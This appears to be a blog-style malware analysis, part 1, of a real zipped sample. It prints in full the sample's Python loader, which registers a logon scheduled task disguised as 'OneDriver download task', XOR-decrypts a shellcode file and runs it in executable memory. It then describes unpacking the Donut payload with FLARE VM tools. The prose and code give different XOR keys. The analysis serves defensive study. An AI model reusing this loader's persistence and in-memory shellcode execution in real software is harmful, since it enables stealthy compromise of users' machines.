Malware Analysis - Real Case 9 [Part 1]
Hi guys, it is me again. Recently I and my friend have found a sample which is kinda dangerous and after analysed it several days, this is my report for it. This report is kinda long so I will split it into numberous parts. Let’s go!
First, this sample from a real threat actor who is very dangerous also their malwares. If you use it in evil purposes, I will not take any responsibility for it!
Sample: db14cca00f3c8a94ef65d88e1a4b2ae7
It’s a zip file, unzip it and look inside:
You can see that there are so many files inside and we can see some potential files. First, I opened run.bat:
The batch file will navigate user to C:\ProgramData\SysW64x and then run the python file:
import ctypes
import ctypes.wintypes as wintypes
import win32com.client
import os
def create_task():
scheduler = win32com.client.Dispatch('Schedule.Service')
scheduler.Connect()
root_folder = scheduler.GetFolder('\\')
task_def = scheduler.NewTask(0)
trigger = task_def.Triggers.Create(9)
trigger.Id = "LogonTriggerId"
trigger.UserId = os.environ.get('USERNAME')
action = task_def.Actions.Create(0)
action.ID = 'Service_2WS'
action.Path = "C:\\ProgramData\\SysW64x\\rhc.exe"
action.Arguments = 'C:\\ProgramData\\SysW64x\\run.bat'
task_def.RegistrationInfo.Description = 'Test Task 2'
task_def.Settings.Enabled = True
task_def.Settings.StopIfGoingOnBatteries = False
task_def.Settings.DisallowStartIfOnBatteries = False
root_folder.RegisterTaskDefinition(
'OneDriver download task',
task_def,
6,
'',
'',
3)
try:
create_task()
print("Task created")
except:
pass
def get_function_address(dll_name, func_name):
hModule = ctypes.windll.kernel32.GetModuleHandleW(dll_name)
if not hModule:
hModule = ctypes.windll.kernel32.LoadLibraryW(dll_name)
return ctypes.windll.kernel32.GetProcAddress(hModule, func_name.encode())
VirtualAlloc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_uint32, ctypes.c_uint32)(
get_function_address("kernel32.dll", "VirtualAlloc")
)
VirtualProtect = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_uint32,
ctypes.POINTER(ctypes.c_uint32))(
get_function_address("kernel32.dll", "VirtualProtect")
)
CreateThread = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p,
ctypes.c_uint32, ctypes.POINTER(ctypes.c_uint32))(
get_function_address("kernel32.dll", "CreateThread")
)
RtlMoveMemory = ctypes.CFUNCTYPE(None, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)(
get_function_address("kernel32.dll", "RtlMoveMemory")
)
WaitForSingleObject = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32)(
get_function_address("kernel32.dll", "WaitForSingleObject")
)
VirtualFree = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_uint32)(
get_function_address("kernel32.dll", "VirtualFree")
)
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_RELEASE = 0x8000
def xor_encrypt(data, key):
encrypted_data = bytearray()
key_length = len(key)
for i in range(len(data)):
encrypted_data.append(data[i] ^ key[i % key_length])
return encrypted_data
def run_shellcode(encrypted_payload, key):
decrypted_shellcode = xor_encrypt(encrypted_payload, key)
decrypted_shellcode = bytes(decrypted_shellcode)
shellcode_ptr = VirtualAlloc(None, len(decrypted_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
if not shellcode_ptr:
raise ctypes.WinError(ctypes.get_last_error())
print(f"Memory allocated at: {hex(shellcode_ptr)}")
shellcode_buffer = ctypes.create_string_buffer(decrypted_shellcode)
RtlMoveMemory(shellcode_ptr, shellcode_buffer, len(decrypted_shellcode))
old_protect = wintypes.DWORD()
success = VirtualProtect(shellcode_ptr, len(decrypted_shellcode), PAGE_EXECUTE_READWRITE, ctypes.byref(old_protect))
if not success:
raise ctypes.WinError(ctypes.get_last_error())
print(f"Memory protection changed to executable at {hex(shellcode_ptr)}")
thread_handle = CreateThread(None, 0, shellcode_ptr, None, 0, None)
if not thread_handle:
raise ctypes.WinError(ctypes.get_last_error())
print("Thread created successfully.")
WaitForSingleObject(thread_handle, -1)
print("Shellcode executed.")
VirtualFree(shellcode_ptr, 0, MEM_RELEASE)
print("Memory freed.")
if __name__ == "__main__":
key = b'motconmeocon' # Must match the key used for encryption
with open("encrypted_payload.bin", "rb") as f:
encrypted_shellcode = f.read()
run_shellcode(encrypted_shellcode, key)
Look at the code you will understand immediately about how it works! First, it will create a schedule task in root directory which will run run.bat each time we login to the system:
When task was created, it would decrypt encrypted_payload.bin by using XOR algorithm with the key is meoconlonton. From here you can decrypt it easily:
def xor_encrypt(data, key):
encrypted_data = bytearray()
key_length = len(key)
for i in range(len(data)):
encrypted_data.append(data[i] ^ key[i % key_length])
return encrypted_data
if __name__ == "__main__":
key = b'motconmeocon' # Must match the key used for encryption
with open("encrypted_payload.bin", "rb") as f:
encrypted_shellcode = f.read()
# Save the decrypted shellcode to a file
shellcode = xor_encrypt(encrypted_shellcode, key)
with open("shellcode.bin", "wb") as w:
w.write(shellcode)
When we get the shellcode, now it’s time to check its packer because attackers are using many packers to hide their shellcodes nowadays. I used diec to check the shellcode and it was packed by donut:
It’s very clear, right? In GitHub there is a tool that help you unpack the donut shellcode, but when I used it it’s not work!:
I thought because of newest version of donut, my tool could not unpack it. But there is another way to extract. Because python script will load shellcode to memory, also donut shellcode is created from C# script, there is a tool to help you dump the memory and extract .NET file inside that memory area. To use this tool, you must RUN the malware which needs you to have a specific virtual environment. In my case I will use flarevm which has many tools help me do that.
First, run the malware and next, run the MegaDumper:
Because shellcode was loaded by Python, memory inside Python process would keep that shellcode also .NET things. Click to python process, choose .NET dump:
Waiting a bit, and you will see that all .NET payloads were extracted:
Use DIE, you will see that exe file was written by C#, and you can use dnSpy to do it. In Flare VM they give you dnSpy too:
Ok so this is part 1 of my report. Thank you for reading to this line, if you like this report, please wait for part 2! Love you all 🫀